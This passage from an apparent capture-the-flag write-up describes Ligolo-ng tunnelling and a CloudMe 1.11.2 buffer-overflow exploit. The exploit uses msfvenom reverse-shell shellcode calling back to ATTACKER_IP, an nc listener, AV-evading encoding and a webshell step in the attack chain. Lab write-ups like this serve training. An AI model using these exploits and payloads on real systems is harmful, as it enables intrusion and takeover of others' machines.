CloudMe_1112.exe is present in C:\Users\shaun\Downloads\.
netstat vs nmap
netstat -ano did not show port 8888 because CloudMe is started by a scheduled task and is not always active. nmap via Ligolo, taking longer, intercepted a cycle where the service was running. When looking for intermittent services, a single netstat may not be enough — repeating it or using tasklist to find the process is more reliable.
Checking listening ports on localhost via nmap reveals port 8888 — the CloudMe Sync service.
Port forwarding with Ligolo-ng
Setup of the tunnel to reach internal services:
# Attacker: create TUN interface and start proxysudo ip tuntap add user $(whoami) mode tun ligolosudo ip link set ligolo upligolo-proxy -selfcert -laddr 0.0.0.0:11601
# Attacker: add route for target's localhostsudo ip route add 240.0.0.1/32 dev ligolo
Internal Nmap via Ligolo
nmap 240.0.0.1 --top-ports=1000 -sV -sC -vvv
PORT STATE SERVICE VERSION135/tcp open msrpc Microsoft Windows RPC445/tcp open microsoft-ds?3306/tcp open mysql MariaDB 5.5.5-10.4.118080/tcp open http Apache httpd 2.4.438888/tcp open sun-answerbook?
Port 8888
Not visible from outside — listening only on localhost. It is the CloudMe Sync 1.11.2 service, vulnerable to buffer overflow.
CloudMe 1.11.2 — Buffer Overflow
Vulnerability
CloudMe Sync 1.11.2 — Buffer overflow allowing arbitrary code execution. The exploit overwrites the return address with a ROP gadget (PUSH ESP / RET) and jumps to the injected shellcode.
-b '\x00\x0a\x0d' — Bad characters to exclude: null byte (\x00), line feed (\x0a), carriage return (\x0d). These bytes interrupt payload copying in memory (terminate strings or lines in the protocol) and would corrupt the exploit.
-e x86/shikata_ga_nai — Polymorphic encoder: obfuscates the payload so it does not contain bad characters and changes signature on each generation. Also useful for basic AV evasion (not always sufficient).
-f python -v buf — Output in Python format with variable buf, ready to paste into the exploit script.
Step 2 — Modify the exploit
In script 48389.py, modify target and payload:
import socket, systarget = "240.0.0.1" # was 127.0.0.1 — now via Ligolopayload = b"\x90" * 1052payload += b"\xB5\x42\xA8\x68" # ROP: PUSH ESP / RET (0x68A842B5)payload += b"\x90" * 30 # NOP sled# msfvenom -p windows/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444# -b '\x00\x0a\x0d' -e x86/shikata_ga_nai -f python -v bufbuf = b""buf += b"\xda\xcd\xd9\x74\x24\xf4..." # generated shellcode# ... (full payload from msfvenom)payload += buftry: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, 8888)) s.send(payload)except Exception as e: print(sys.exc_value)
The port is already correct in the script:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((target, 8888))s.send(buf)
The exploit sends 1052 bytes of padding + ROP gadget (0x68A842B5 — PUSH ESP / RET) + NOP sled + shellcode to port 8888.
Step 3 — Execute and gain Administrator
# Attacker: listenernc -nvlp 4444
# Attacker: launch exploit via Ligolo tunnelpython3 48389.py
connect to [<ATTACKER_IP>] from (UNKNOWN) [10.129.10.59] 49685C:\Windows\system32> whoamibuff\administrator
Root flag in C:\Users\Administrator\Desktop\root.txt.
Attack Chain Summary
Nmap → single port 8080 (Apache + PHP) │ ↓Web enum → Gym Management System 1.0 │ ↓Exploit 48506.py → upload webshell (.php.png + magic bytes) │ RCE like buff\shaun ↓curl.exe + nc.exe → stabilized reverse shell → user flag │ ↓Internal enum → CloudMe_1112.exe in Downloads + port 8888 on localhost │ ↓Ligolo-ng tunnel → 240.0.0.1:8888 reachable from attacker │ ↓CloudMe 1.11.2 buffer overflow (48389.py) │ msfvenom shellcode + shikata_ga_nai encoder ↓buff\administrator → root flag